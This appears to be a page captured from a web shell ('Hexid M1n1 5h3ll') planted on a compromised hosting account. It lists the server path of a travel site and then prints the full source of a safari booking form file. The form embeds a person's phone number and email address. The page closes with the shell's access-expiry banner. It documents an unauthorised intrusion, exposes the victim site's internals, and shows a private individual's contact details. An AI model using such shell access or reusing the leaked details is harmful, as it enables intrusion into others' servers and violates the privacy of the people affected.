xXx

Hexid M1n1 5h3ll MobiLe

home/zoocado/public_html/gtitravels.com/public/_[ Not.Writable ]

File:/home/zoocado/public_html/gtitravels.com/public/saftest.php

<!DOCTYPE html>
<html lang="zxx">
<head>
    <!-- Google Tag Manager -->
 
    <!-- End Google Tag Manager -->
    <title>Tadoba Online Safari Booking</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta charset="UTF-8">
    <!-- External CSS libraries -->

<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
 

    <!-- Google fonts -->
    <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700,800%7CPoppins:400,500,700,800,900%7CRoboto:100,300,400,400i,500,700">


   

    <style>
      
       .login-3 .login-inner-form{
            background: #fff;
        }
        body{
                    background-color: #e8e1d5;
        }
        .col-lg-4 h5 {
    color: #000 !important;
}
        .form-control{
              border: 1px solid #7a7c7d !important;
      }
      label{
          font-weight: 600;
      }
      .note {
           text-align: left;
    margin-top: 2px;
    color: #000000;
    font-family: sans-serif;
    margin-bottom: 24px;
    padding-left: 0px;
}
.col-lg-2 h5{
    color: #000 !important;
}
.col-lg-3 h5{
    color: #000 !important;
}
.paymet{
    padding: 6px;
    margin-top: -44px;
    padding-bottom: 19px;
}
      .h5, h5 {
    font-size: 13px;
        color: #fff;
            border-right: 1px solid #fff;
        
}
.badge-secondary{
    background-color: #000000 !important;
}
     .register{
/*    background: -webkit-linear-gradient(left, #3931af, #00c6ff);*/
        background: #06920b;
    padding: 1%;
/*    margin-top: 3%;*/
/*    padding: 1%;*/
box-shadow: 4px 5px 6px #000;
    border-radius: 4px;
    margin-top: 9px;
}
.control-label{
    float: left;
    color: #292828;
    font-size: 14px;
}
.register-left{
    text-align: center;
    color: #fff;
    margin-top: 4%;
}
.register-left input{
    border: none;
    border-radius: 1.5rem;
    padding: 2%;
    width: 60%;
    background: #f8f9fa;
    font-weight: bold;
    color: #383d41;
    margin-top: 30%;
    margin-bottom: 3%;
    cursor: pointer;
}
.register-right{
       background: #f8f9fa;
    /* border-top-left-radius: 10% 50%; */
    /* border-bottom-left-radius: 10% 50%; */
    border: 1px solid #7d7d7d;
    box-shadow: 4px 5px 6px #000;
    
}
.register-left img{
    margin-top: 15%;
    margin-bottom: 5%;
    width: 25%;
    -webkit-animation: mover 2s infinite  alternate;
    animation: mover 1s infinite  alternate;
}
@-webkit-keyframes mover {
    0% { transform: translateY(0); }
    100% { transform: translateY(-20px); }
}
@keyframes mover {
    0% { transform: translateY(0); }
    100% { transform: translateY(-20px); }
}
.register-left p{
    font-weight: lighter;
    padding: 12%;
    margin-top: -9%;
}
.register .register-form{
/*      padding: 7%;
    margin-top: 10%;*/
       padding: 3%;
    margin-top: 138px;
}
.btnRegister{
    float: right;
    margin-top: 10%;
    border: none;
    border-radius: 1.5rem;
    padding: 2%;
    background: #0062cc;
    color: #fff;
    font-weight: 600;
    width: 50%;
    cursor: pointer;
}
.register .nav-tabs{
    margin-top: 3%;
    border: none;
    background: #0062cc;
    border-radius: 1.5rem;
    width: 28%;
    float: right;
}
.register .nav-tabs .nav-link{
    padding: 2%;
    height: 34px;
    font-weight: 600;
    color: #fff;
    border-top-right-radius: 1.5rem;
    border-bottom-right-radius: 1.5rem;
}
.register .nav-tabs .nav-link:hover{
    border: none;
}
.register .nav-tabs .nav-link.active{
    width: 100px;
    color: #0062cc;
    border: 2px solid #0062cc;
    border-top-left-radius: 1.5rem;
    border-bottom-left-radius: 1.5rem;
}
.register-heading{
           text-align: center;
    margin-top: 0%;
    margin-bottom: -15%;
    background: #000;
    padding: 6px;
    width: 953px;
    margin-left: -16px;
    color: #ffffff;
}
.list-inline {
    padding-left: 0;
    margin-left: -5px;
    list-style: none;
}
.list-inline>li {
    display: inline-block;
    padding-right: 5px;
    padding-left: 5px;
}
.listiteam {
    padding: 10px 15px;
    margin-bottom: -1px;
}
.buttontest {
    background: #ce1511;
    color: #fff;
    padding: 3px;
    font-weight: 600;
    font-size: 20px;
    min-width: 284px;
}
.buttonpay {
    background: #008000;
    color: #fff;
    padding: 3px;
    font-weight: 600;
    font-size: 20px;
    min-width: 284px;
}
.buttonpayw{
    background: #000;
    color: #fff;
    padding: 3px;
    font-weight: 600;
    font-size: 20px;
    min-width: 284px;
}
@media (max-width: 479px) and (min-width: 320px){
    .register-right {
    background: #f8f9fa;
     border-top-left-radius: 0% 0%; 
     border-bottom-left-radius: 00% 0%; 
     border: 0px solid #7d7d7d; 
     box-shadow: 0px 0px 0px #000; 
}
.BlockTitle{
margin: 0px 0px 0px 0px !important;

padding: 4px 10px 5px 10px !important;
font-size: 11px !important;
}
.btn.buttonpayw.disabled{
	display: none !important;
}
 .mt-10{
                margin-top: 0rem;
        }
		.buttontest {
		min-width: 100%;
		width: 100%;
		}
		.buttonpay{
		min-width: 100%;
		width: 100%;
		
		}
.register-heading{
    text-align: center;
    margin-top: 0%;
     margin-bottom: 0%; 
    background: #000;
    padding: 6px;
     width: 423px; 
    margin-left: -16px;
    font-size: 17px;
    color: #ffffff;
    margin-right: -15px;
}
.register-left{
        margin-top: 0px;
}
.register .register-form{
        margin-top: 0px;
}
.booktour{
margin-left: 9px;
font-size: 11px !important;
	}
.col-lg-2 h5{
   float: left;
}
.col-lg-3 h5{
   float: left;
}
.buttonpayw{
    margin: 4px
}
.buttontest{
  padding: 0px;
	margin-bottom: 14px;
}
.BlockContent{
        font-size: 12px !important;
}
.BlockHeading{
    font-size: 12px !important;
}
}
/* New CSS Booking Form*/
.forest{
     
    margin: 21px auto 0 auto;
    padding: 9px;
    background-color: #fff;
    border: 1px solid #ddd;
}

.logo{
        width: 100%;
    margin: 0;
    padding: 5px 0 5px 0;
    font-size: 32px;
    font-weight: 100;
    color: #000;
    border-bottom: 2px solid green;
    text-align: left;
}
.booktitle{
    margin: 8px 0px 0px 0px;
    background-color: rgba(204, 220, 57, 0.37);
    padding: 5px 10px 5px 10px;
    color: #359a2d;
    font-size: 16px;
    font-weight: bold;
    font-family: verdana;
    vertical-align: middle;
    border-top-left-radius: 6px;
    border-top-right-radius: 6px;
}
.Foresttable {
    border-collapse: collapse;
    font-family: Calibri;
    font-size: 16px;
    width: 100%;
}
.Foresttable tr:nth-child(odd) {
    background: #FBFBFB;
}
.Foresttable tr {
    background: #fafafa;
}
.Foresttable td {
    padding: 6px;
    border: #BCD4B5 1px solid;
    text-align: left;
}
.BlockHeading {
    vertical-align: top;
    padding-bottom: 3px;
    font-size: 0.9em;
    font-weight: bold;
    font-family: calibri;
    color: #000;
}
.BlockContent {
       vertical-align: top;
    padding-left: 15px;
    font-stretch: extra-expanded;
    font-size: 16px;
    /* font-family: cursive; */
    color: #403c3c;
    /* font-weight: 700; */
}
.BlockTitle {
    margin: 8px 0px 0px 0px;
    background-color: rgba(204, 220, 57, 0.37);
    padding: 5px 10px 5px 10px;
    color: #359a2d;
    font-size: 14px;
    font-weight: bold;
    font-family: verdana;
    vertical-align: middle;
    border-top-left-radius: 6px;
    border-top-right-radius: 6px;
}

.txtCss{
    
       width: 100%;
}
.deitls-box{
        margin: 1px 0px 0px 0px;
    background-color: rgba(205, 205, 205, 0.7);
    padding: 5px 10px 5px 10px;
    color: #000000;
    font-size: 0.7em;
    font-weight: bold;
    font-family: verdana;
    /* border-right: #000000 1px solid; */
    vertical-align: middle;
    /* border-top-left-radius: 6px; */
    /* border-top-right-radius: 6px; */
   border-bottom: 1px solid #808480;
    border-top: 1px solid #808480;
}
.person{
    padding-top: 8px;
}
.booktour{
        border-collapse: collapse;
    font-family: Calibri;
    font-size: 14px;
    color: #000;
        margin-left: 9px;
}
    </style>

    
</head>
<body id="top">


<div class="page_loader"></div>

<!-- Login 3 start -->

   <div class="container forest">
  <div class="logo">
      <h4 class="text-center">Pench Tiger Reserve Online Safari Booking</h4>
            </div>
       
                   <section>
                    <div class="main">
                          <div  class="booktitle">
               Pench Jeep Safari Booking
            </div>
                      
                       <form name="frmbooking" method="post" action="">
                           
                                <table id="Table2" class="Foresttable">
                <tbody><tr>
                    <td align="left" style="width: 25%;" class="BlockHeading">
                        Safari Date :
                    </td>
                    <td align="left" style="width: 25%;" class="BlockContent">
                        <span id="lblPermitDate">11/10/2021</span>
                    </td>
                    <td align="left" style="width: 25%;" class="BlockHeading">
                        Safari Type :
                    </td>
                    <td align="left" style="width: 25%;" class="BlockContent">
                        <span id="lblTicketType">Jeep Safari</span>
                    </td>
                </tr>
                <tr>
                    <td align="left" class="BlockHeading">
                        Safari Timing :
                    </td>
                    <td align="left" class="BlockContent">
                        <span id="lblZone">06:00 AM to 10:00 AM	</span>
                    </td>
                    <td align="left" class="BlockHeading">
                       Safari Zone :
                    </td>
                    <td align="left" class="BlockContent">
                        <span id="lblBookedBy">Moharli Zone (Core/Buffer)</span>
                    </td>
                </tr>
                <tr>
                    <td align="left" style="width: 25%;" class="BlockHeading">
                        Contact No :
                    </td>
                    <td align="left" style="width: 25%;" class="BlockContent">
                        <span id="lblTimeSlot">9911990414</span>
                    </td>
                    <td align="left" class="BlockHeading">
                        Email ID :
                    </td>
                    <td align="left" class="BlockContent">
                       
                        <span id="lblIDValue">deepak.rai860@gmail.com</span>
                    </td>
                </tr>
              
               
            </tbody></table>
                 
                    
                          
                            <div class="BlockTitle">Note : Maximum 6 Persons are Allowed in One jeep. Child above age of 8 years is considered as an adult and full seat would be charged.

</div>
                                      <div class="deitls-box">
                          <div class="row">
                         <div class="col-xl-3 col-lg-3 col-md-2 col-sm-2 col-2">
                             <span class="label label-default">Name</span>
</div>
                         <div class="col-xl-2 col-lg-2 col-md-2 col-sm-2 col-2">
                             <span class="label label-default">Gender
</span>

                         </div>
                         <div class="col-xl-1 col-lg-1 col-md-1 col-sm-1 col-1">
                             <span class="label label-default">Age</span>

                         </div>
                         <div class="col-xl-2 col-lg-2 col-md-2 col-sm-2 col-2">
                             <span class="label label-default">Select ID</span>

                         </div>
                         <div class="col-xl-2 col-lg-2 col-md-2 col-sm-2 col-2">
                              <span class="label label-default">ID Number</span>
                         </div>
                              <div class="col-xl-2 col-lg-2 col-md-1 col-sm-1 col-1">
                              <span class="label label-default">Add Person</span>
                         </div>
                                     
                                 
                                       
                                    </div>
                </div>
                            <div class="row person">
                                   
                                   
                                    <div class="col-xl-3 col-lg-3 col-md-12 col-sm-12 col-12">
                                        <div class="form-group">
                                         
                                            <input id="travel_name" name="travel_name" type="text"   placeholder="Enter Name" class="form-control travel_name">
                                        </div>
                                    </div>
                                     <div class="col-xl-2 col-lg-2 col-md-12 col-sm-12 col-12">
                                         <div class="form-group">
                                          
                                            <div class="select">
                                                <select id="travel_gender" name="travel_gender[]" class="form-control">
                                                	
                                                    <option value="Male">Male</option>
                                                    <option value="Female">Female</option>
                                                  
                                                </select>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    
                                        <div class="col-xl-1 col-lg-1 col-md-12 col-sm-12 col-12">
                                        <div class="form-group">
                                         
                                            <input id="travel_age" name="travel_age" type="text" placeholder="Age" class="form-control" maxlength="3" required>
                                        </div>
                                    </div>
                                         <div class="col-xl-2 col-lg-2 col-md-12 col-sm-12 col-12">
                                                <div class="form-group">
                                  
                                                   <select id="travel_id" name="travel_id" class="form-control">
                                                   <option value="Aadhaar Card">Aadhaar card</option>
                                                    <option value="Voter ID">Voter ID</option>
                                                    <option value="Passport">Passport</option>
                                                    <option value="Driving Licence">Driving Licence</option>
                                                     <option value="PAN CARD">Pan Card</option>
                                                  <option value="Any Other Card">Any Other ID</option>
                                            </select>
                            </div>
                                    </div>
                                   
                                 <div class="col-xl-2 col-lg-2 col-md-12 col-sm-12 col-12">
                                         <div class="form-group">
                                  
                                           <input id="travel_idnumber" name="travel_idnumber" type="text" placeholder="ID Number" class="form-control" required>
                            </div>
                                    </div>
                                       
                                            <div class="col-xl-1 col-lg-1 col-md-12 col-sm-12 col-12">
                                                <div class="form-group">
                                                    
                                                    <a  href="javascript:;" class="btn btn-primary btn-sm addone" id="add-more">Add Person</a>
                                                </div>
                                            </div>
                                       
                                    </div>
                            <span class="after-add-more"></span>
                            
                   
                            <div class="BlockTitle">Declaration
                            </div>
                            <label class="booktour">I Authorize Tadoba Safari Booking,for using Mobile Number, Identity Proof &amp; Email mentioned in this permit for intimation and verification purposes.</label>
                            <ul>
                                <li>All Core Gates will be Closed on Tuesday From 1st Feb 2021.</li>
                                <li>All Buffer Gates will be Closed on Wednesday From 1st Feb 2021.</li>
                                <li>M,E,N in above table stands for Morning, Evening, Night respectively.</li>
                                <li>In above table '-' stands for "No Safari available for That Shift"</li>
                                <li>Tatkal Booking is available for Core gates only 3 days Prior to Safari.</li>
                            </ul>
                            <hr>
                            <div class="row">
                                <div class="col-lg-4"> 
                                     <button type="button" name="singlebutton" class="btn buttonpayw disabled">Jeep Safari Booking</button>
                                </div>
                                <div class="col-lg-4"> 
                                     <button type="button" name="singlebutton" class="btn buttontest disabled">Payable amount : <span class="booking_amount_txt">6500</span></button>
                                </div>
                                <div class="col-lg-4"> 
                                    <button type="submit" name="singlebutton" class="btn buttonpay" >Paynow</button>
                                </div>
                            </div>
                            <hr>
                        </form>
                    </div>
                  </section>
      
   </div>

<!-- Login 3 end -->
<script>
$(document).ready(function(){
$("#top").on("click",".addone",function(e){
												  
        e.preventDefault();
 var html = '<div class="row control-group"> <div class="col-xl-3 col-lg-3 col-md-12 col-sm-12 col-12"> <div class="form-group"> <input id="travel_name" name="travel_name[]" type="text" placeholder="Enter Name" class="form-control travel_name" required></div></div><div class="col-xl-2 col-lg-2 col-md-12 col-sm-12 col-12"> <div class="form-group"> <div class="select"> <select id="travel_gender" name="travel_gender[]" class="form-control"> <option value="Male">Male</option> <option value="Female">Female</option> </select> </div></div></div><div class="col-xl-1 col-lg-1 col-md-12 col-sm-12 col-12"> <div class="form-group"> <input id="travel_age" name="travel_age[]" type="text" placeholder="Age" class="form-control" maxlength="3" required></div></div><div class="col-xl-2 col-lg-2 col-md-12 col-sm-12 col-12"> <div class="form-group"> <select class="form-control" id="travel_id" name="travel_id[]"> <option value="Aadhaar Card">Aadhaar card</option> <option value="Voter ID">Voter ID</option> <option value="Passport">Passport</option> <option value="Driving Licence">Driving Licence</option> <option value="PAN CARD">Pan Card</option> <option value="Any Other Card">Any Other ID</option> </select> </div></div><div class="col-xl-2 col-lg-2 col-md-12 col-sm-12 col-12"> <div class="form-group"> <input type="text"  id="travel_idnumber" name="travel_idnumber[]" class="form-control input-text" placeholder="Your ID *"> </div></div><div class="col-xl-2 col-lg-2 hidden-lg hidden-md col-md-12 col-sm-12 col-12 mt-10"> <div class="form-group"> <button class="btn btn-primary btn-sm addone" id="add-more">Add Person</button> <button id="remove" class="btn btn-danger btn-sm remove">Remove</button></div></div></div>';

          $(".after-add-more").before(html);
		  calc_amount();
});

$("#top").on("click",".remove",function(){ 
          $(this).parents(".control-group").remove();
		  calc_amount();
});

});

</script>

</body>
</html>

Your Access Expired	Date. in : 10-02-2026
Regist : 09-12-2024	Expired : 01-12-2027